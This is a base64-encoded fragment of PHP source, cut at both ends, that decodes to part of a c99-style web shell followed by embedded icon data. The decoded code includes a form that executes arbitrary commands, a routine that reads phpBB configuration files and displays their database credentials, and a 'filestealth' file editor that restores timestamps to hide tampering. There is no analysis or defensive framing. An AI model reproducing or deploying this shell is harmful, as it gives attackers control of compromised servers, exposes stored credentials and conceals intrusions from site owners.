jwvYT4iO30NCiAgICAgIGVjaG8gIiAoPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7DQogICAgfQ0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoJGZ0ID09ICJpbmZvIikgew0KICAgICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsNCiAgICAgIGlmICghJHdpbikgew0KICAgICAgICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOw0KICAgICAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsNCiAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7DQogICAgICAgIGVjaG8gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZC4kZikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkLiRmKSk7DQogICAgICB9DQogICAgICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgJGZpID0gZm9wZW4oJGQuJGYsInJiIik7DQogICAgICBpZiAoJGZpKSB7DQogICAgICAgIGlmICgkZnVsbGhleGR1bXApIHtlY2hvICI8Yj5GVUxMIEhFWERVTVA8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO30NCiAgICAgICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQ0KICAgICAgICAkbiA9IDA7DQogICAgICAgICRhMCA9ICIwMDAwMDAwMDxicj4iOw0KICAgICAgICAkYTEgPSAiIjsNCiAgICAgICAgJGEyID0gIiI7DQogICAgICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRzdHIpOyAkaSsrKSB7DQogICAgICAgICAgJGExIC49IHNwcmludGYoIiUwMlgiLG9yZCgkc3RyWyRpXSkpLiIgIjsNCiAgICAgICAgICBzd2l0Y2ggKG9yZCgkc3RyWyRpXSkpIHsNCiAgICAgICAgICAgIGNhc2UgMDogICRhMiAuPSAiPGZvbnQ+MDwvZm9udD4iOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgMzI6DQogICAgICAgICAgICBjYXNlIDEwOg0KICAgICAgICAgICAgY2FzZSAxMzogJGEyIC49ICImbmJzcDsiOyBicmVhazsNCiAgICAgICAgICAgIGRlZmF1bHQ6ICRhMiAuPSBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsNCiAgICAgICAgICB9DQogICAgICAgICAgJG4rKzsNCiAgICAgICAgICBpZiAoJG4gPT0gJGhleGR1bXBfcm93cykgew0KICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgaWYgKCRpKzEgPCBzdHJsZW4oJHN0cikpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkrMSkuIjxicj4iO30NCiAgICAgICAgICAgICRhMSAuPSAiPGJyPiI7DQogICAgICAgICAgICAkYTIgLj0gIjxicj4iOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8dGFibGUgYm9yZGVyPTEgYmdjb2xvcj0jNjY2NjY2PiIuDQogICAgICAgICAgICAgIjx0cj48dGQgYmdjb2xvcj0jNjY2NjY2PiIuJGEwLiI8L3RkPiIuDQogICAgICAgICAgICAgIjx0ZCBiZ2NvbG9yPSMwMDAwMDA+Ii4kYTEuIjwvdGQ+Ii4NCiAgICAgICAgICAgICAiPHRkIGJnY29sb3I9IzAwMDAwMD4iLiRhMi4iPC90ZD4iLg0KICAgICAgICAgICAgICI8L3RyPjwvdGFibGU+PGJyPiI7DQogICAgICB9DQogICAgICAkZW5jb2RlZCA9ICIiOw0KICAgICAgaWYgKCRiYXNlNjQgPT0gMSkgew0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlPC9iPjxicj4iOw0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZigkYmFzZTY0ID09IDIpIHsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOw0KICAgICAgICAkZW5jb2RlZCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKSk7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSAzKSB7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZigkYmFzZTY0ID09IDQpIHsNCiAgICAgICAgJHRleHQgPSBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBEZWNvZGUiOw0KICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQ0KICAgIGVjaG8gIjwvYj48YnI+IjsNCiAgIH0NCiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQ0KICAgew0KICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVkKS4iPC90ZXh0YXJlYT48YnI+PGJyPiI7DQogICB9DQogICBlY2hvICI8Yj5IRVhEVU1QOjwvYj48bm9icj4gWzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmZ1bGxoZXhkdW1wPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQogICAgICAgIDxub2JyPls8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9NCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQogICAgICAgIDxQPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKSB7DQogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fQ0KICAgZWNobyAkcjsNCiAgIGlmICgkd2hpdGUpIHtjYXByaXY4ZXhpdCgpO30NCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAidHh0Iikge2VjaG8gIjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJpbmkiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcChwYXJzZV9pbmlfZmlsZSgkZC4kZixUUlVFKSk7IGVjaG8gIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIpIHsNCiAgIGVjaG8gIjxwcmU+IjsNCiAgICR2ID0gZXhwbG9kZSgifCIsJHIpOw0KICAgZWNobyAkdlswXS4iPGJyPiI7DQogICB2YXJfZHVtcCh1bnNlcmlhbGl6ZSgkdlsxXSkpOw0KICAgZWNobyAiPC9wcmU+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZXhlIikgew0KICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICRleHQgPSAkZXh0WyRjXTsNCiAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgJHJmdCA9ICIiOw0KICAgZm9yZWFjaCgkZXhlZnR5cGVzIGFzICRrPT4kdikNCiAgIHsNCiAgICBpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO30NCiAgIH0NCiAgICRjbWQgPSBzdHJfcmVwbGFjZSgiJWYlIiwkZiwkcmZ0KTsNCiAgIGVjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+PGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAic2RiIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikgew0KICAgIGlmIChlcmVnKCJwaHAiLiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkgew0KICAgICAgJGFyciA9IGV4cGxvZGUoIlxuIiwkcik7DQogICAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpIHsNCiAgICAgICAgaW5jbHVkZSgkZC4kZik7DQogICAgICAgIGVjaG8gIjxiPnBocEJCIGNvbmZpZ3VyYXRpb24gaXMgZGV0ZWN0ZWQgaW4gdGhpcyBmaWxlITxicj4iOw0KICAgICAgICBpZiAoJGRibXMgPT0gIm15c3FsNCIpIHskZGJtcyA9ICJteXNxbCI7fQ0KICAgICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikge2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PXNxbCZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkZGJob3N0KS4iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiImc3FsX3BvcnQ9MzMwNiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiJcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30NCiAgICAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgIi4kc2hfbmFtZS4iLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2NhcHJpdjhleGl0KCk7fQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikgew0KICAgIEBvYl9jbGVhbigpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgIGVjaG8gJHI7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICAgZWNobygkcik7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgew0KICAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgIGlmICghJHdoaXRlKSB7DQogICAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9DQogICAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsNCiAgICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7DQogICAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpIHsNCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgfQ0KICAgICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsNCiAgICAgIHJlYWRmaWxlKCRkLiRmKTsNCiAgICAgIGV4aXQ7DQogICAgfQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0Iikgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICRyID0gJGVkaXRfdGV4dDsNCiAgICB9DQogICB9DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7DQogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30NCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4ieD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQp9DQplY2hvICI8L2Rpdj5cbiI7DQp9DQp9DQplbHNlIHsNCkBvYl9jbGVhbigpOw0KJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUJBUC8vL3dBQUFDSDVCQUhvQXdFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsDQoiYmFjayI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLg0KIldnMEpBRHM9IiwNCiJidWZmZXIiPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4NCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4NCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsDQoiY2hhbmdlIj0+DQoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuDQoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuDQoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuDQoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuDQoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuDQoiek1zaEFEcz0iLA0KImRlbGV0ZSI9Pg0KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLg0KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLg0KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLg0KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLg0KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLg0KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLg0KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLg0KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLg0KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLA0KImRvd25sb2FkIj0+DQoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNREF3SDkvZi84QUFQLy8vd0FBQVAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuDQoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsDQoiZm9yd2FyZCI9Pg0KIlIwbEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLg0KIldxc0pBRHM9IiwNCiJob21lIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUitNTWs1VFRXSTZpcHlNb08zY1VXUmdlSm9DQ2FMb0tPMG1xMFp4ak5TQkRXUyIuDQoia3JxQXNMZko3WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVPRVZLM1F0Z04vaiIuDQ